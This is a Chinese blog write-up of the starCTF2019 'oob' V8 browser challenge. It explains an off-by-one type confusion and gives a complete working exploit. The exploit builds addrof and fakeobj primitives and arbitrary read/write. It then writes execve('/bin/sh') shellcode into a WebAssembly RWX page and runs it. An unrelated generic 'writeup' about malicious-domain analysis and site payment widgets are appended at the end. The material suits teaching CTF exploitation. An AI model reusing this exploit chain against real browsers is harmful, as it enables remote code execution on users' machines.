【Writeup】starCTF2019_Browser_OOB

本题提供了v8的commit版本号以及一个浏览器程序包,内含一个diff文件,关于如何配置v8环境已经在如下文章中记录:【环境配置】如何编译V8引擎并添加diff补丁

0x01 解题思路

​  首先可以利用array.oob()方法进行数组对象MAP类型的读取,利用array.oob([map])进行数组对象MAP类型的修改。由此可以利用一个float类型数组和一个object类型数组实现两个方法:getObjAddr(传入对象,返回其地址)和getFakeObj(传入地址,将其解析为一个对象返回)。

​  之后就可以构造一个数组,将其各个成员变量置为合法的数组对象的值,把相应的elements的字段置为想要读取的地址-0x10n,然后调试获取elements相对obj地址的偏移,再计算出需要传递给getFakeObj的参数值,这样就伪造出了一个fake_obj,读取fake_obj[0],即可实现任意地址读;修改fake_obj[0],即可实现任意写。

​  最后的利用使用浏览器题目特有的利用方式,构建一个执行正常代码的wasm对象,经过不断间接读取地址最终获取到wasm代码所在的rwx内存页的地址。接着声明一个buffer,把buffer存放内容的地址(同样需要一道间接取址的过程)通过任意写函数修改成rwx内存页的地址,最后把shellcode内容写入buffer,这样就实现了置换内存页中执行代码为shellcode的效果,执行wasm对象即可getshell。

​  具体写脚本还需要注意float和BigInt的转换细节、Obj实际地址为系统地址-1等细节,有一些数据要经过调试确定。另外,函数功能完成后写简单的调试代码测试一下功能比较合适。

总结

  • 利用数组对象的Off-by-One漏洞触发类型混淆
  • 利用类型混淆实现获取对象地址和伪造地址解析为对象两个原语
  • 利用以上两个原语实现伪造新对象
  • 利用伪造的新对象实现任意地址读写
  • 利用任意地址读写实现shellcode写入wasm对象内存页并执行

0x02 EXP

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

// convert from float to BigInt64
function f2i(f){
	float64[0] = f;
	return bigUint64[0];
}

// convert from BigInt64 to float
function i2f(i){
	bigUint64[0] = i;
	return float64[0];
}

// convert from BigInt64 to hex
function i2hex(i){
	return "0x" + i.toString(16).padStart(16, "0");
}

// convert from hex to BigInt64
function hex2i(hex){
	return BigInt(parseInt(hex));
}


var obj = { 'a':2 };
var obj_array = [obj];
var obj_array_map = obj_array.oob();
var float_array = [1.1];
var float_array_map = float_array.oob();


function getObjAddr(obj_to_leak){
	obj_array[0] = obj_to_leak;
	obj_array.oob(float_array_map);
	var obj_addr = f2i(obj_array[0]) - 1n;
	obj_array.oob(obj_array_map);
	return obj_addr;
}

function getFakeObj(addr_to_fake){
	float_array[0] = i2f(addr_to_fake + 1n);
	float_array.oob(obj_array_map);
	var fake_obj = float_array[0];
	float_array.oob(float_array_map);
	return fake_obj;
}


var fake_array = [
	float_array_map,  // map
	0,  // prototype
	i2f(0x8888888888888889n), // elements
	i2f(0x400000000n)  // length
];

function AAR(addr_to_read){
	var addr = addr_to_read - 0x10n + 0x01n;  // addr of elements should be ood
	fake_array[2] = i2f(addr);
	var fake_obj_addr = getObjAddr(fake_array) + 0x30n;
	var fake_obj = getFakeObj(fake_obj_addr);
	var res = f2i(fake_obj[0]);
	//console.log("[+]The content of address " + i2hex(addr_to_read) +" is "+ i2hex(res));
	return res;
}

function AAW(addr_to_write, data){
	var addr = addr_to_write - 0x10n + 0x01n;  // addr of elements should be ood
	fake_array[2] = i2f(addr);
	var fake_obj_addr = getObjAddr(fake_array) + 0x30n;
	var fake_obj = getFakeObj(fake_obj_addr);
	fake_obj[0] = i2f(data);
	console.log("[+]The content of address " + i2hex(addr_to_write) +" has been changed to "+ i2hex(data));
}


/*
var a = [1.1];
%DebugPrint(a);
var test_addr = getObjAddr(a);
AAR(test_addr);
AAW(test_addr, hex2i(0x99999996));
AAR(test_addr);
%SystemBreak();
*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = getObjAddr(f);
console.log("[+]f_addr: " + i2hex(f_addr));
var shared_info_addr = AAR(f_addr + 0x18n) - 0x1n;
console.log("[+]shared_info_addr: " + i2hex(shared_info_addr));
var wasm_exported_function_data_addr = AAR(shared_info_addr + 0x8n) - 0x1n;
console.log("[+]wasm_exported_function_data_addr: " + i2hex(wasm_exported_function_data_addr));
var instance_addr = AAR(wasm_exported_function_data_addr + 0x10n) - 0x1n;
console.log("[+]instance_addr: " + i2hex(instance_addr));
var rwx_page_addr = AAR(instance_addr + 0x88n);
console.log("[+]rwx_page_addr: " + i2hex(rwx_page_addr));


var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];

var buf = new ArrayBuffer(24);
var data_view = new DataView(buf);
var backing_store_addr = getObjAddr(buf) + 0x20n;
console.log("[+]backing_store_addr: " + i2hex(backing_store_addr));
AAW(backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);
f();

0x03 参考资料

从一道CTF题零基础学V8漏洞利用

参考文章内容比较全面,所以这个wp只简要总结下思路

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
恭喜您获得域名_DataCon 2020 DNS恶意域名分析方向冠军!以下是您的writeup: 赛题概述: 本次比赛的任务是对一组恶意域名进行分析。每个参赛者需要对提供的数据集进行分析,从中筛选出恶意域名,并对这些域名进行分类、分析和解释。数据集包括了近期出现的一些恶意域名,其中一部分已被官方确认。 分析流程: 1. 数据集的基本情况分析 首先,对数据集进行一些基本的统计分析,比如恶意域名的数量、出现频率、域名长度、TLD分布等等。这些分析可以帮助我们初步了解数据集的特点,为后续的分析提供一些指导。 2. 特征提取 在数据集分析的基础上,我们需要对每个域名进行特征提取。常用的特征包括域名长度、字符集分布、TLD类型、子域名数量、字母频率等等。提取出来的特征可以作为后续模型训练的输入。 3. 恶意域名分类 接下来,我们需要对每个域名进行分类。分类的目的是将恶意域名和正常域名分离开来,为后续的分析提供基础。常用的分类方法包括传统的机器学习分类算法(如决策树、SVM等)和深度学习分类算法(如CNN、LSTM等)。 4. 恶意域名分析 分类完成后,我们需要对恶意域名进行进一步的分析。具体来说,我们需要分析每个恶意域名的类型、攻击方式、受害者等等。这些分析可以帮助我们更好地了解恶意域名的本质和特点,为后续的防御工作提供指导。 5. 结果展示 最后,我们需要将分析结果进行展示。可以采用报告、PPT、图表等多种形式来呈现分析结果。同时,也可以将分析结果与其他团队进行交流,分享经验、互相学习。 总结: 通过对数据集的分析和特征提取,我们可以将恶意域名和正常域名分离开来,并进行进一步的分类和分析。这些工作可以帮助我们更好地了解恶意域名的本质和特点,为后续的防御工作提供指导。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值